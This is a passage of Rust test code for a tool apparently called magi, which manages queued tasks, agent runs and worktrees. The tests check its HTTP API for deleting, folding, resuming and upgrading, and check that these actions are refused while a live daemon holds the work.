11981 let dir = runs.join(&state.id);
11982 std::fs::create_dir_all(&dir).expect("run dir");
11983 std::fs::write(
11984 dir.join("run.json"),
11985 serde_json::to_string_pretty(state).expect("serialize run"),
11986 )
11987 .expect("write run.json");
11988 }
11989
11990 #[test]
11995 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
11996 let temp = TempDir::new().expect("tempdir");
11997 let runs = temp.path().join("runs");
11998 std::fs::create_dir_all(&runs).expect("create runs dir");
11999 let mut state = RunState::new(
12000 PathBuf::from("/repo/magi"),
12001 "main".to_owned(),
12002 "0123456789abcdef".to_owned(),
12003 "task".to_owned(),
12004 Config::default(),
12005 );
12006 state.id = "20260902-100000-c0de".to_owned();
12007 write_state(&runs, &state);
12008
12009 let rev_idle = runs_revision(&runs);
12010 std::thread::sleep(Duration::from_millis(10));
12011 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12012 write_state(&runs, &state);
12013 let rev_started = runs_revision(&runs);
12014 assert_ne!(
12015 rev_idle, rev_started,
12016 "a seat starting must move the revision"
12017 );
12018
12019 std::thread::sleep(Duration::from_millis(10));
12020 state.seat_finished("judge-1");
12021 write_state(&runs, &state);
12022 let rev_finished = runs_revision(&runs);
12023 assert_ne!(
12024 rev_started, rev_finished,
12025 "and clearing it again must move the revision a second time"
12026 );
12027 }
12028
12029 #[tokio::test]
12030 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12031 let fx = Fixture::start().await;
12036 let q = fx.queue();
12037
12038 let mut t = Task::new(
12039 "Task".to_owned(),
12040 "Instruction".to_owned(),
12041 PathBuf::from("/repo"),
12042 Source::Human,
12043 );
12044 t.block(
12045 vec!["20260101-000000-dead".to_owned()],
12046 Some("waiting on Task 1".to_owned()),
12047 );
12048 t.answers.push(crate::queue::AnsweredQuestion {
12049 question: "Which backend?".to_owned(),
12050 answer: "SQLite".to_owned(),
12051 });
12052 q.put(&mut t).expect("put t");
12053
12054 let res = fx.get("/api/queue").await;
12055 assert_eq!(res.status, 200);
12056 let list = res.json();
12057 let view = list
12058 .as_array()
12059 .expect("array")
12060 .iter()
12061 .find(|v| v["id"] == t.id)
12062 .expect("task in list");
12063 assert_eq!(view["status_str"], "blocked");
12064 assert_eq!(
12065 view["blocked_by"],
12066 serde_json::json!(["20260101-000000-dead"])
12067 );
12068 assert_eq!(view["block_reason"], "waiting on Task 1");
12069 assert_eq!(view["answers"][0]["question"], "Which backend?");
12070 assert_eq!(view["answers"][0]["answer"], "SQLite");
12071
12072 let res = fx
12076 .post(&format!("/api/queue/{}/hold", t.short()), None)
12077 .await;
12078 assert_eq!(res.status, 200);
12079 let held = res.json();
12080 assert_eq!(held["status_str"], "held");
12081 assert_eq!(held["blocked_by"], serde_json::json!([]));
12082 assert!(held["block_reason"].is_null());
12083 assert_eq!(held["answers"][0]["answer"], "SQLite");
12084 }
12085
12086 #[tokio::test]
12087 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12088 let fx = Fixture::start().await;
12089 let q = fx.queue();
12090 let mk = |title: &str| {
12091 Task::new(
12092 title.to_owned(),
12093 "Instruction".to_owned(),
12094 PathBuf::from("/repo"),
12095 Source::Human,
12096 )
12097 };
12098 let mut root = mk("root");
12099 root.hold_manual(Some("waiting".to_owned()));
12100 q.put(&mut root).unwrap();
12101 let mut mid = mk("mid");
12102 mid.block(vec![root.id.clone()], None);
12103 q.put(&mut mid).unwrap();
12104 let mut leaf = mk("leaf");
12105 leaf.block(vec![mid.id.clone()], None);
12106 q.put(&mut leaf).unwrap();
12107
12108 let list = fx.get("/api/queue").await.json();
12109 let find = |id: &str| {
12110 list.as_array()
12111 .unwrap()
12112 .iter()
12113 .find(|v| v["id"] == id)
12114 .unwrap()
12115 .clone()
12116 };
12117 let leaf_view = find(&leaf.id);
12118 assert_eq!(
12119 leaf_view["waits_on"],
12120 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12121 );
12122 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12123 assert_eq!(
12124 find(&mid.id)["waits_on"],
12125 serde_json::json!([format!("{} (held)", root.short())])
12126 );
12127 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12128 }
12129
12130 #[tokio::test]
12131 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12132 let fx = Fixture::start().await;
12133 let q = fx.queue();
12134
12135 let mut t1 = Task::new(
12137 "Task 1".to_owned(),
12138 "Instruction 1".to_owned(),
12139 PathBuf::from("/repo"),
12140 Source::Human,
12141 );
12142 let run_id = "20260901-000000-r111";
12143 t1.runs.push(run_id.to_owned());
12144 write_run(&fx.runs(), run_id, RunStatus::Merged);
12145 q.put(&mut t1).expect("put t1");
12146
12147 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12149 assert_eq!(res.status, 204);
12150 assert!(res.body.is_empty(), "204 No Content has no body");
12151 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12152 assert!(
12153 fx.runs().join(run_id).exists(),
12154 "run directory must not be deleted when its task is deleted"
12155 );
12156
12157 let mut t2 = Task::new(
12159 "Task 2".to_owned(),
12160 "Instruction 2".to_owned(),
12161 PathBuf::from("/repo"),
12162 Source::Human,
12163 );
12164 t2.status = TaskStatus::Running;
12165 q.put(&mut t2).expect("put t2");
12166 let mut beat = crate::daemon::Status::new();
12167 beat.current = vec![crate::daemon::Current {
12168 task: t2.id.clone(),
12169 run: "20260901-000000-r222".to_owned(),
12170 }];
12171 beat.updated_at = jiff::Timestamp::now();
12172 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12173 .expect("publish a heartbeat");
12174 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
12175 assert_eq!(res.status, 409);
12176 assert!(
12177 res.json()["error"]
12178 .as_str()
12179 .unwrap()
12180 .contains("live daemon")
12181 );
12182 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
12183
12184 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
12190 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12191 .expect("leave a stale heartbeat");
12192 let mut t3 = Task::new(
12193 "Task 3".to_owned(),
12194 "Instruction 3".to_owned(),
12195 PathBuf::from("/repo"),
12196 Source::Human,
12197 );
12198 t3.status = TaskStatus::Running;
12199 q.put(&mut t3).expect("put t3");
12200 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
12201 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
12202 assert_eq!(res.status, 204);
12203 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
12204 assert!(
12205 q.claim(&t3.id).is_ok(),
12206 "the stale lock went with it, so the id is claimable again"
12207 );
12208
12209 let res = fx.delete("/api/queue/nonexistent").await;
12211 assert_eq!(res.status, 404);
12212 }
12213
12214 #[tokio::test]
12215 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
12216 let fx = Fixture::start().await;
12217 let runs = fx.runs();
12218
12219 let run_id = "20260901-000000-fold";
12221 let mut state = RunState::new(
12222 PathBuf::from("/repo"),
12223 "main".to_owned(),
12224 "abc".to_owned(),
12225 "instruction".to_owned(),
12226 Config::default(),
12227 );
12228 state.id = run_id.to_owned();
12229 state.status = RunStatus::Merged;
12230 state.candidates.push(crate::run::Candidate {
12231 index: 0,
12232 label: 'A',
12233 agent: "a".to_owned(),
12234 branch: "b".to_owned(),
12235 worktree: PathBuf::from("/w"),
12236 summary: String::new(),
12237 stat: String::new(),
12238 files: 1,
12239 commits: 1,
12240 empty: false,
12241 failed: None,
12242 verified_noop: None,
12243 duration_ms: 0,
12244 folded: true,
12245 });
12246 let dir = runs.join(run_id);
12247 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
12248 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
12249 .expect("write artifact");
12250 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
12251 .expect("write run.json");
12252
12253 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12255 assert_eq!(res.status, 204);
12256 assert!(res.body.is_empty(), "204 has no body");
12257 assert!(!dir.exists(), "run directory and artifacts must be deleted");
12258
12259 let run_running = "20260901-000000-rung";
12264 write_run(&runs, run_running, RunStatus::Prep);
12265 let mut beat = crate::daemon::Status::new();
12266 beat.current = vec![crate::daemon::Current {
12267 task: "20260901-000000-task".to_owned(),
12268 run: run_running.to_owned(),
12269 }];
12270 beat.updated_at = jiff::Timestamp::now();
12271 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12272 .expect("publish a heartbeat");
12273 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12274 assert_eq!(res.status, 409);
12275 assert!(
12276 res.json()["error"]
12277 .as_str()
12278 .unwrap()
12279 .contains("live daemon"),
12280 "the refusal must say who is holding it"
12281 );
12282 assert!(
12283 runs.join(run_running).exists(),
12284 "a run in flight keeps its directory"
12285 );
12286
12287 let run_unfolded = "20260901-000000-unfd";
12289 let mut state2 = RunState::new(
12290 PathBuf::from("/repo"),
12291 "main".to_owned(),
12292 "abc".to_owned(),
12293 "instruction".to_owned(),
12294 Config::default(),
12295 );
12296 state2.id = run_unfolded.to_owned();
12297 state2.status = RunStatus::Ready;
12298 state2.candidates.push(crate::run::Candidate {
12299 index: 0,
12300 label: 'A',
12301 agent: "a".to_owned(),
12302 branch: "b".to_owned(),
12303 worktree: PathBuf::from("/w"),
12304 summary: String::new(),
12305 stat: String::new(),
12306 files: 1,
12307 commits: 1,
12308 empty: false,
12309 failed: None,
12310 verified_noop: None,
12311 duration_ms: 0,
12312 folded: false,
12313 });
12314 let dir2 = runs.join(run_unfolded);
12315 std::fs::create_dir_all(&dir2).expect("create dir2");
12316 std::fs::write(
12317 dir2.join("run.json"),
12318 serde_json::to_string(&state2).unwrap(),
12319 )
12320 .expect("write run.json");
12321
12322 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12323 assert_eq!(res.status, 409);
12324 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12325 assert!(dir2.exists(), "unfolded run directory is kept");
12326
12327 let res = fx.delete("/api/runs/nonexistent").await;
12329 assert_eq!(res.status, 404);
12330 }
12331
12332 #[test]
12341 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12342 let start = APP_JS
12343 .find("function renderStats() {")
12344 .expect("renderStats");
12345 let end = start
12346 + APP_JS[start..]
12347 .find("function statsTile(")
12348 .expect("the next top-level function");
12349 let body = &APP_JS[start..end];
12350
12351 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12352 let gate_end = gate_start
12353 + body[gate_start..]
12354 .find("}\n renderStatsQueue")
12355 .expect("the gate's own closing brace, right before the unconditional call");
12356 let gated = &body[gate_start..gate_end];
12357
12358 assert_eq!(
12359 body.matches("renderStatsQueue(").count(),
12360 1,
12361 "renderStats must call renderStatsQueue exactly once: {body}"
12362 );
12363 assert!(
12364 !gated.contains("renderStatsQueue"),
12365 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12366 run-derived panels on an empty run history - the queue panel has to render \
12367 regardless: {gated}"
12368 );
12369 }
12370
12371 #[test]
12372 fn web_ui_delete_contract_in_front_end() {
12373 assert!(APP_JS.contains("deleteRun:"));
12375 assert!(APP_JS.contains("deleteTask:"));
12376
12377 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12379 ..APP_JS.find("function renderRuns").unwrap()];
12380 assert!(!run_cards_slice.to_lowercase().contains("delete"));
12381
12382 assert!(APP_JS.contains("renderRunDelete"));
12384 assert!(APP_JS.contains("runDeleteReason"));
12385 assert!(APP_JS.contains("magi fold"));
12386 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12387
12388 assert!(APP_JS.contains("cancel.focus"));
12390 assert!(APP_JS.contains("armedRunDelete"));
12391 assert!(APP_JS.contains("renderTaskDeleteBox"));
12392 assert!(APP_JS.contains("armed${cap(key)}"));
12393
12394 assert!(APP_JS.contains("disabled: status === \"running\""));
12396 }
12397
12398 #[test]
12418 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
12419 let build = APP_JS
12420 .find("function createRunCard")
12421 .expect("createRunCard exists");
12422 let update = APP_JS
12423 .find("function updateRunCard")
12424 .expect("updateRunCard exists");
12425 let end = APP_JS
12426 .find("function renderRuns")
12427 .expect("renderRuns exists");
12428
12429 let builder = &APP_JS[build..update];
12431 let open = builder.find("refs = {").expect("createRunCard sets refs");
12432 let literal = &builder[open + "refs = {".len()..];
12433 let close = literal.find('}').expect("the refs literal is closed");
12434 let published: HashSet<&str> = literal[..close]
12435 .split(',')
12436 .filter_map(|entry| entry.split(':').next())
12438 .map(str::trim)
12439 .filter(|name| !name.is_empty())
12440 .collect();
12441 assert!(
12442 published.len() > 5,
12443 "the refs literal did not parse into names: {published:?}"
12444 );
12445
12446 let mut used: Vec<&str> = Vec::new();
12449 let updaters = &APP_JS[update..end];
12450 for (at, _) in updaters.match_indices("r.") {
12451 let before = updaters[..at].chars().next_back();
12454 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12455 continue;
12456 }
12457 let rest = &updaters[at + 2..];
12458 let len = rest
12459 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12460 .unwrap_or(rest.len());
12461 if len > 0 {
12462 used.push(&rest[..len]);
12463 }
12464 }
12465 assert!(
12466 used.len() > 5,
12467 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12468 );
12469
12470 let missing: Vec<&str> = used
12471 .iter()
12472 .copied()
12473 .filter(|name| !published.contains(name))
12474 .collect();
12475 assert!(
12476 missing.is_empty(),
12477 "a run card's updater reaches for {missing:?}, which `createRunCard` \
12478 never put in `refs` - every card will throw and the list will \
12479 render empty under a count line that says otherwise. Published: \
12480 {published:?}"
12481 );
12482 }
12483
12484 #[tokio::test]
12485 async fn folding_from_the_phone_reports_what_it_removed() {
12486 let fx = Fixture::start().await;
12487 let runs = fx.runs();
12488
12489 let id = "20260901-000000-fold";
12493 write_run(&runs, id, RunStatus::Stalled);
12494 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12495 assert_eq!(res.status, 200);
12496 assert_eq!(res.json()["removed_count"], 0);
12497 assert_eq!(res.json()["run"], id);
12498 assert!(
12499 runs.join(id).exists(),
12500 "a fold keeps the run's record; only the worktrees go"
12501 );
12502 }
12503
12504 #[tokio::test]
12505 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
12506 let fx = Fixture::start().await;
12507 let runs = fx.runs();
12508 let wt = fx.home.path().join("wt").join("magi").join("dead");
12509 let id = "20260901-000000-dead";
12510 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12511 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12512 std::fs::create_dir_all(&wt).expect("worktree dir");
12513
12514 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12515 assert_eq!(res.status, 200, "{}", res.body);
12516 assert!(
12517 res.json()["removed_count"].as_u64().unwrap() > 0,
12518 "the worktree this build could not read a state for still went"
12519 );
12520 assert!(
12521 !runs.join(id).exists(),
12522 "an unreadable run has no candidate list to fold selectively, so \
12523 the whole record goes - same as `magi fold` on the CLI"
12524 );
12525 }
12526
12527 #[tokio::test]
12528 async fn deleting_an_unreadable_run_removes_it_wholesale() {
12529 let fx = Fixture::start().await;
12530 let runs = fx.runs();
12531 let wt = fx.home.path().join("wt").join("magi").join("gone");
12532 let id = "20260901-000000-gone";
12533 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12534 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12535 std::fs::create_dir_all(&wt).expect("worktree dir");
12536
12537 let res = fx.delete(&format!("/api/runs/{id}")).await;
12538 assert_eq!(res.status, 204, "{}", res.body);
12539 assert!(!runs.join(id).exists(), "the broken record is gone");
12540 assert!(!wt.exists(), "its worktree is gone too");
12541 }
12542
12543 #[tokio::test]
12544 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
12545 let fx = Fixture::start().await;
12546 let runs = fx.runs();
12547 let id = "20260901-000000-live";
12548 write_run(&runs, id, RunStatus::Implementing);
12549
12550 let mut beat = crate::daemon::Status::new();
12551 beat.current = vec![crate::daemon::Current {
12552 task: "20260901-000000-task".to_owned(),
12553 run: id.to_owned(),
12554 }];
12555 beat.updated_at = jiff::Timestamp::now();
12556 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12557 .expect("publish a heartbeat");
12558
12559 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12560 assert_eq!(res.status, 409);
12561 assert!(
12562 res.json()["error"]
12563 .as_str()
12564 .unwrap()
12565 .contains("live daemon"),
12566 "folding under a running agent would pull its worktree away"
12567 );
12568 }
12569
12570 #[tokio::test]
12571 async fn fold_merged_requires_a_pr_url() {
12572 let fx = Fixture::start().await;
12573 let runs = fx.runs();
12574 let id = "20260901-000000-nourl";
12575 write_run(&runs, id, RunStatus::Blocked);
12576
12577 let res = fx
12578 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
12579 .await;
12580 assert_eq!(res.status, 400, "{}", res.body);
12581
12582 let blank = fx
12583 .post(
12584 &format!("/api/runs/{id}/fold-merged"),
12585 Some(r#"{"pr_url":" "}"#),
12586 )
12587 .await;
12588 assert_eq!(blank.status, 400, "{}", blank.body);
12589 }
12590
12591 #[tokio::test]
12592 async fn fold_merged_is_404_for_an_unknown_run() {
12593 let fx = Fixture::start().await;
12594 let res = fx
12595 .post(
12596 "/api/runs/nosuchrun/fold-merged",
12597 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12598 )
12599 .await;
12600 assert_eq!(res.status, 404, "{}", res.body);
12601 }
12602
12603 #[tokio::test]
12604 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
12605 let fx = Fixture::start().await;
12606 let runs = fx.runs();
12607 let id = "20260901-000000-livemerge";
12608 write_run(&runs, id, RunStatus::Blocked);
12609
12610 let mut beat = crate::daemon::Status::new();
12611 beat.current = vec![crate::daemon::Current {
12612 task: "20260901-000000-task".to_owned(),
12613 run: id.to_owned(),
12614 }];
12615 beat.updated_at = jiff::Timestamp::now();
12616 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12617 .expect("publish a heartbeat");
12618
12619 let res = fx
12620 .post(
12621 &format!("/api/runs/{id}/fold-merged"),
12622 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12623 )
12624 .await;
12625 assert_eq!(res.status, 409, "{}", res.body);
12626 assert!(
12627 res.json()["error"]
12628 .as_str()
12629 .unwrap()
12630 .contains("live daemon"),
12631 "correcting a run's merge underneath a running agent would race \
12632 whatever it is doing to the same `status`/`merge` fields"
12633 );
12634 }
12635
12636 #[tokio::test]
12641 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
12642 let fx = Fixture::start().await;
12643 let runs = fx.runs();
12644 let id = "20260901-000000-unconfirmed";
12645 write_run(&runs, id, RunStatus::Blocked);
12646
12647 let res = fx
12648 .post(
12649 &format!("/api/runs/{id}/fold-merged"),
12650 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12651 )
12652 .await;
12653 assert_eq!(res.status, 400, "{}", res.body);
12654 assert_eq!(
12655 read_run(&runs, id).unwrap().status,
12656 RunStatus::Blocked,
12657 "a pull request that could not be confirmed merged must leave \
12658 the run exactly where it was"
12659 );
12660 }
12661
12662 #[tokio::test]
12663 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
12664 let fx = Fixture::start().await;
12665 let runs = fx.runs();
12666
12667 for (status, word) in [
12673 (RunStatus::Merged, "merged"),
12674 (RunStatus::Ready, "ready"),
12675 (RunStatus::Failed, "failed"),
12676 ] {
12677 let id = format!("20260901-000000-{}", &word[..4]);
12678 write_run(&runs, &id, status);
12679 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
12680 assert_eq!(res.status, 409, "{word} must not be resumable");
12681 let err = res.json()["error"].as_str().unwrap().to_owned();
12682 assert!(err.contains(word), "the refusal names the status: {err}");
12683 }
12684
12685 let mid = "20260901-000000-midf";
12690 write_run(&runs, mid, RunStatus::Reviewing);
12691 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
12692 assert_eq!(res.status, 202, "an interrupted run is resumable");
12693 }
12694
12695 #[tokio::test]
12696 async fn resume_is_refused_while_the_loop_is_running() {
12697 let fx = Fixture::start().await;
12698 let runs = fx.runs();
12699 let stalled = "20260901-000000-stal";
12700 write_run(&runs, stalled, RunStatus::Stalled);
12701
12702 let mut beat = crate::daemon::Status::new();
12706 beat.current = vec![crate::daemon::Current {
12707 task: "20260901-000000-task".to_owned(),
12708 run: "20260901-000000-othr".to_owned(),
12709 }];
12710 beat.updated_at = jiff::Timestamp::now();
12711 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12712 .expect("publish a heartbeat");
12713
12714 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
12715 assert_eq!(res.status, 409);
12716 let err = res.json()["error"].as_str().unwrap().to_owned();
12717 assert!(err.contains("othr"), "it names what the loop is on: {err}");
12718 assert!(err.contains("stop it first"), "{err}");
12719 }
12720
12721 #[test]
12722 fn a_run_cannot_be_resumed_twice_at_once() {
12723 let home = TempDir::new().expect("temp home");
12724 let ui = Ui::new(
12725 Queue::at(home.path().join("queue")),
12726 Questions::at(home.path().join("questions")),
12727 Talks::at(home.path().join("talks")),
12728 home.path().join("runs"),
12729 home.path().to_path_buf(),
12730 PathBuf::from("/repo"),
12731 )
12732 .with_worktrees_root(home.path().join("wt"));
12733 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
12734 let again = ui.begin_resume("20260901-000000-once");
12735 assert!(again.is_err(), "a second tap must not start a second graph");
12736 drop(first);
12737 assert!(
12738 ui.begin_resume("20260901-000000-once").is_ok(),
12739 "and the claim is released when the attempt ends"
12740 );
12741 }
12742
12743 #[test]
12744 fn talk_thinking_tracks_only_its_held_turn_claim() {
12745 let home = TempDir::new().expect("temp home");
12746 let ui = Ui::new(
12747 Queue::at(home.path().join("queue")),
12748 Questions::at(home.path().join("questions")),
12749 Talks::at(home.path().join("talks")),
12750 home.path().join("runs"),
12751 home.path().to_path_buf(),
12752 PathBuf::from("/repo"),
12753 )
12754 .with_worktrees_root(home.path().join("wt"));
12755 let id = "20260901-000000-once";
12756
12757 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
12758 let turn = ui.begin_talk_turn(id).expect("claim turn");
12759 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
12760 assert!(
12761 !ui.is_thinking("20260901-000000-other"),
12762 "one talk's turn does not make another talk busy"
12763 );
12764 drop(turn);
12765 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
12766 }
12767
12768 #[tokio::test]
12769 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
12770 let fx = Fixture::start().await;
12771 let mut beat = crate::daemon::Status::new();
12775 beat.pid = 4321;
12776 beat.updated_at = jiff::Timestamp::now();
12777 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12778 .expect("publish a heartbeat");
12779
12780 let res = fx.post("/api/upgrade", None).await;
12781 assert_eq!(res.status, 409);
12782 let err = res.json()["error"].as_str().unwrap().to_owned();
12783 assert!(err.contains("4321"), "the refusal names the owner: {err}");
12784 assert!(err.contains("old one against the same queue"), "{err}");
12785 }
12786
12787 #[test]
12794 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
12795 assert!(!should_spawn_recheck(&crate::config::Update {
12796 mode: UpdateMode::Off,
12797 interval: None,
12798 }));
12799
12800 unsafe {
12803 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12804 }
12805 let killed = should_spawn_recheck(&crate::config::Update {
12806 mode: UpdateMode::Notify,
12807 interval: None,
12808 });
12809 unsafe {
12810 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12811 }
12812 assert!(
12813 !killed,
12814 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
12815 one-time startup check"
12816 );
12817
12818 assert!(should_spawn_recheck(&crate::config::Update {
12819 mode: UpdateMode::Notify,
12820 interval: None,
12821 }));
12822 }
12823
12824 #[test]
12830 fn recheck_poll_period_tracks_a_short_configured_interval() {
12831 let short = crate::config::Update {
12832 mode: UpdateMode::Notify,
12833 interval: Some("1m".to_owned()),
12834 };
12835 let period = recheck_poll_period(&short);
12836 assert!(
12837 period <= Duration::from_secs(30),
12838 "a one-minute interval must wake the task far sooner than the \
12839 default ceiling, or the deck would not notice within the \
12840 interval the operator configured: got {period:?}"
12841 );
12842
12843 let default = crate::config::Update {
12844 mode: UpdateMode::Notify,
12845 interval: None,
12846 };
12847 assert_eq!(
12848 recheck_poll_period(&default),
12849 UPDATE_RECHECK_POLL_MAX,
12850 "the default day-long interval should poll at the (capped) \
12851 ceiling rather than needlessly often"
12852 );
12853 }
12854
12855 #[test]
12863 fn recheck_skips_the_network_before_the_interval_elapses() {
12864 let dir = TempDir::new().expect("temp dir");
12865 let path = dir.path().join("state.json");
12866 let state = kaishin::UpdateCheckState {
12867 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
12868 last_known_latest: None,
12869 last_known_url: None,
12870 };
12871 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
12872
12873 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
12874 assert!(
12875 !update_recheck_due(&checker, None),
12876 "a check made moments ago must not be repeated before the \
12877 configured interval elapses"
12878 );
12879 }
12880
12881 #[test]
12887 fn recheck_defers_to_an_upgrade_already_in_flight() {
12888 let dir = TempDir::new().expect("temp dir");
12889 let path = dir.path().join("state.json");
12890 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
12891 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
12892
12893 assert!(
12894 !update_recheck_due(&checker, Some(&progress)),
12895 "a recheck must not run while an upgrade this deck started is \
12896 still moving"
12897 );
12898 }
12899
12900 #[tokio::test]
12901 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
12902 unsafe {
12914 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12915 }
12916 let fx = Fixture::start().await;
12917 let res = fx.post("/api/upgrade", None).await;
12918 unsafe {
12919 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12920 }
12921 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12922 let body = res.json();
12923 assert!(body["to"].is_null(), "there was no release to move to");
12924 assert!(body["parked"].is_null(), "and nothing was parked");
12925 assert!(
12926 body["detail"]
12927 .as_str()
12928 .unwrap()
12929 .contains("disabled by MAGI_NO_AUTOUPDATE"),
12930 "{body:?}"
12931 );
12932 }
12933
12934 #[tokio::test]
12935 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
12936 let repo = TempDir::new().expect("repo dir");
12952 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12953 .expect("write magi.toml");
12954 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12955
12956 let res = fx.post("/api/upgrade", None).await;
12962 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12963 let body = res.json();
12964 assert!(body["to"].is_null(), "there was no release to move to");
12965 assert!(body["parked"].is_null(), "and nothing was parked");
12966 assert!(
12967 body["detail"]
12968 .as_str()
12969 .unwrap()
12970 .contains("nothing restarted"),
12971 "{body:?}"
12972 );
12973 }
12974
12975 #[tokio::test]
12976 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
12977 let repo = TempDir::new().expect("repo dir");
12982 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12983 .expect("write magi.toml");
12984 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12985
12986 let health = fx.get("/api/health").await.json();
12987 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
12988 assert_eq!(
12989 health["update"]["available"], false,
12990 "checking is off, which reads as \"unknown\", not \"none\""
12991 );
12992 assert!(health["update"]["to"].is_null());
12993 assert!(
12994 health["upgrade"].is_null(),
12995 "nothing has ever asked this deck to upgrade"
12996 );
12997 }
12998
12999 #[tokio::test]
13000 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13001 let fx = Fixture::start().await;
13002 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13003
13004 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13005 progress.parked_run = Some("20260905-000000-cd51".to_owned());
13006 progress.advance(crate::updater::Stage::Parking);
13007 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13008
13009 let health = fx.get("/api/health").await.json();
13010 assert_eq!(health["upgrade"]["stage"], "parking");
13011 assert_eq!(health["upgrade"]["from"], "0.5.1");
13012 assert_eq!(health["upgrade"]["to"], "0.5.2");
13013 let waiting_on = health["upgrade"]["waiting_on"]
13014 .as_str()
13015 .expect("waiting_on is set while parking a known run");
13016 assert!(waiting_on.contains("cd51"), "{waiting_on}");
13017 assert!(waiting_on.contains("implementing"), "{waiting_on}");
13018 }
13019
13020 #[tokio::test]
13021 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13022 let fx = Fixture::start().await;
13023 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13024 progress.advance(crate::updater::Stage::Done);
13025 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13026
13027 let health = fx.get("/api/health").await.json();
